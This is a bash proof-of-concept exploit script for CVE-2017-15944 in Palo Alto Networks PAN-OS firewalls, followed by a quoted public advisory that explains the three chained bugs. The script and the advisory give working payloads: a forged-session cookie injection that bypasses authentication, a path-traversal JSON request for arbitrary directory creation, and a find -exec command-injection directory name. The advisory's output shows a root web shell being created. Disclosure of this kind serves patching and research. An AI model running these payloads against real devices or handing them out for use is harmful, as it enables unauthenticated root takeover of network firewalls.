#!/bin/bash
#
# Exploit Title: Fake Cookie Injection PoC - CVE-2017-15944
# Date: December 15, 2017
# Description: Create a take custom cookie and then verify it.
# CVE: CVE-2017-15944
# Author: Fernando Lagos (Zerial)
# https://twitter.com/Zerial
# https://blog.zerial.org
# https://nivel4.com
#
#
# Example:
# ~$ bash pan-poc.sh
# Testing CVE-2017-15944 on https://96.8x.xxx.xx:4443
# [+] Testing connection to host: OK
# [+] Cooking session: OK
# [+] Inserting fake cookie: OK
# [+] Verifying session: OK
# *** [!] Host https://96.8x.xxx.xx:4443 is vulnerable.
#
# NOTE: Run as bash
uri=$1
echo "Testing CVE-2017-15944 on $uri"
echo -n "[+] Testing connection to host: "
curl --max-time 4 -k --connect-timeout 3 $uri -s -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com">/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Unreachable."
exit 1
fi
echo -n "[+] Cooking session: "
curl -s --connect-timeout 3 -k "$uri/php/login.php" -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com" -c /tmp/pan_cookie >/dev/null
echo "OK"
echo -n "[+] Inserting fake cookie: "
curl -s --connect-timeout 3 -k -vvv
"$uri/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
-b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 -
https://nivel4.com" 2>/dev/null|grep "Success" >/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Error."
exit 1
fi
echo -n "[+] Verifying session: "
curl -s -k --connect-timeout 3 "$uri/php/utils/debug.php" -b
/tmp/pan_cookie -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com"
|grep -i "Debug Console">/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo -e "\033[1;33m[!]\033[0m Warning. Can't verify. \033[1;33mPlease check
manually\033[0m."
exit 1
fi
echo -e "*** \033[0;31m[!]\033[0m Host $uri is \033[0;31m
vulnerable\033[0m."
----- eof -----
2017-12-11 20:13 GMT-03:00 Philip Pettersson <philip.pettersson@gmail.com>:
> Hello,
>
> This is a public advisory for CVE-2017-15944 which is a remote root code
> execution bug in Palo Alto Networks firewalls.
>
> Three separate bugs can be used together to remotely execute commands as
> root through the web management interface without authentication on: PAN-OS
> 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier,
> PAN-OS 8.0.5 and earlier.
>
> Palo Alto Networks recommends not exposing the web management interface to
> the internet. By looking at Project Sonar or Shodan it is evident that it's
> actually quite common to deploy the firewalls with the web management
> interface listening on the WAN port.
>
> PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched
> and can be downloaded from https://support.paloaltonetworks.com/
>
> =*=*=*=*=*=*=*=*= TIMELINE
>
> 2017-07-09: Report submitted.
>
> 2017-07-11: Palo Alto Networks PSIRT confirm that they received the report
> and assign PDV-348 for tracking the issues.
>
> 2017-12-05: The bugs are made public by Palo Alto Networks at
> https://securityadvisories.paloaltonetworks.com
>
> 2017-12-11: I send out this public advisory.
>
> =*=*=*=*=*=*=*=*= DESCRIPTION
>
> - Bug #1: Partial authentication bypass
>
> The file `/etc/appweb3/conf/common.conf` contains the web configuration
> for
> the web server that handles the web management interface.
>
> It configures an authentication filter on most subdirectories using the
> following format:
>
> <Location /php>
> panAuthCheck on
> </Location>
>
> This means that all requests to /php/* will be checked for an authenticated
> session cookie. The functionality itself is implemented in the
> `libpanApiWgetFilter.so` library file.
>
> The function `openAuthFilter()` will look for the PHPSESSID cookie and then
> call the `readSessionVarsFromFile()` function on the session file to
> extract the `dloc` and `user` values.
>
> The problem is that `readSessionVarsFromFile()` is not using the official
> PHP functions to read the serialized session data, but its own parser using
> `strtok()` which is not implemented correctly.
>
> The PHP session format which `readSessionVarsFromFile()` tries to parse
> looks like this for string values:
> locale|s:2:"en";
>
> Explained:
> var_name|s:str_length:"string value"; var_name|s:str_length:"another
> string";...
>
>
> If we can inject a value into the session file that contains the `";`
> character sequence, we can break the parser and inject our own value for
> the `user` variable.
>
> We can do this by calling the `/esp/cms_changeDeviceContext.esp` script,
> which does not need any kind of authentication to be called.
>
> It will call the `panUserSetDeviceLocation()` function located in
> `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the
> `dloc` and `loc` session variables to the second value.
>
> We can corrupt the session file by calling the following url:
> `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";`
>
> Which produces the following contents in `/tmp/sess_<sessionid>`:
> `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";`
>
> When this is parsed by the `readSessionVarsFromFile()` function, it will
> extract `16:a'` as the value for the `user` variable.
>
> It will then use this in XML requests to the backend to check if the user
> is authenticated, but this produces an XML injection that results in an
> invalid XML document:
>
> ```
> Entity: line 1: parser error : attributes construct error
> <request cmd='op' cookie='16:a'' refresh='no'><operations
> xml='yes'><show><cli>
> ```
>
> The extra single quote character is injected into the cookie value, which
> makes the request fail because of a parser error. Interestingly enough, the
> `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not
> recognize this unexpected state and believes that authentication has
> succeeded.
>
> We can now access any PHP file protected by the panAuthCheck directive
> using our manipulated session cookie.
>
> Example:
>
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;"
> 10.0.0.1/php/utils/debug.php
> <!DOCTYPE html>
> <html><head><title>Moved Temporarily</title></head>
> <body><h1>Moved Temporarily</h1>
> <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
> ">here</a>.</p>
> <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body>
> </html>
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
> 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."
> 1337";'
> @start@Success@end@
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;"
> 10.0.0.1/php/utils/debug.php
> 2>/dev/null|head -30
> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
> http://www.w3.org/TR/html4/loose.dtd">
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
> <title>Debug Console</title>
>
>
> It's important to note that we still don't have a valid, logged in session.
> Most PHP scripts will fail, but we do bypass the authentication check in
> the web server.
>
> - Bug #2: Arbitrary directory creation
>
> The `/php/utils/router.php` file handles API requests for the web
> management interface backend communication. It exposes most of the PHP
> classes that comprise the web application in a simple remote procedure call
> interface over HTTP POST/JSON.
>
> The `/php/device/Administrator.php` file declares the `Administrator`
> class. It contains a method called `get` that we can call from
> `router.php`.
>
> In the `get` method there is an XML injection in the call to
> `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the
> request without any sanitation. This allows us to manipulate the XML
> request that is sent to the backend.
>
> Normal request:
> <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
> cookie="12312312312"/>
>
> We can inject our own values into the end of the `obj` attribute, and
> therefore control all of the remaining XML request.
>
> The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the
> parsing of XML requests in the backend.
>
> If we send a request tag with the `async-mode='yes'` attribute set, the
> backend will create a temporary file and parent directory in
> `/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that
> contains
> the output of the request.
>
> Since we can control the `<cookie value>` part of the created directory
> structure, we can use a directory traversal attack to create a directory
> with an arbitrary name anywhere on the system.
>
> For example, by sending the following crafted POST request:
>
> {"action":"PanDirect","method":"execute","data":
> ["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
> {"changeMyPassword":true,"template":"asd","id":"admin']\"
> async-mode='yes' refresh='yes'
> cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}
>
>
> The backend receives the following XML request, resulting in the
> `/tmp/hacked` directory being created:
>
> <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
> async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/>
>
>
> - Bug #3: Command injection in cron script
>
> There is a cron entry that executes `/usr/local/bin/genindex_batch.sh`
> every 15 minutes.
>
> This shellscript will in turn execute `/usr/local/bin/genindex.sh` to
> generate indexes from database files in `/opt/pancfg/mgmt/logdb/`.
>
> There is a command injection vulnerability in how this shellscript handles
> filename processing:
>
> <redacted at the request of PA networks>
>
> Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are
> able to influence the output of the first `find` command.
>
> This output is then used as an argument in the second execution of `find`,
> but without enclosing quotes. We can therefore inject arbitrary arguments
> in this invocation. By passing the `-exec` option to `find`, we can make it
> execute arbitrary system commands.
>
> My exploit creates a directory called:
> `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;`
>
> The base64-encoded python code will be executed as root, which creates a
> simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root
> wrapper in `/bin/x`.
>
> =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT
>
> imac:~/pa% python panos-rce.py http://10.0.0.1/
> creating corrupted session...
> >> http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27
> ";user|s."1337";
> done, verifying..
> >> http://10.0.0.1/php/utils/debug.php
> panAuthCheck bypassed
> verifying that directory creation works..
> >> http://10.0.0.1/php/utils/router.php/Administrator.get
> >> http://10.0.0.1/api/test/202.xml
> creating /opt/pancfg/mgmt/logdb/traffic/1/ entry
> shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please
> wait
>
> web shell created, rootshell accessible with /bin/x -p -c 'command'
> uid=99(nobody) gid=99(nobody) euid=0(root)
> Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017
> x86_64 x86_64 x86_64 GNU/Linux
>
> $
>
>
> =*=*=*=*=*=*=*=*= CREDIT
>
> Philip Pettersson
>